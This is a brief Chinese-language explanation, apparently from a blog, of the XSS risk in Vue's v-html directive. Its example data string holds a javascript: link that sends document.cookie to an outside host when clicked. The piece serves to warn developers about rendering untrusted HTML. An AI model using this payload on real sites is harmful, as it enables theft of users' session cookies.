Vue中v-html使用的安全性问题

因为v-html可以完全得去渲染标签节点，所以当我将标签写为：

<div id=”app”>
<p v-html=”str”></p>
</div>
<script>
var vm = new Vue({
el: ‘#app’,
data: {
str: ‘<a href=javascript:location.href=”http://www.baidu.com?”+document.cookie>百度资源</a>’
}
});
</script>

这样时，再点击a标签后，不仅会将网站跳转到百度，同时也会将所在网站的cookie以参数的形式传入要跳转的网站中去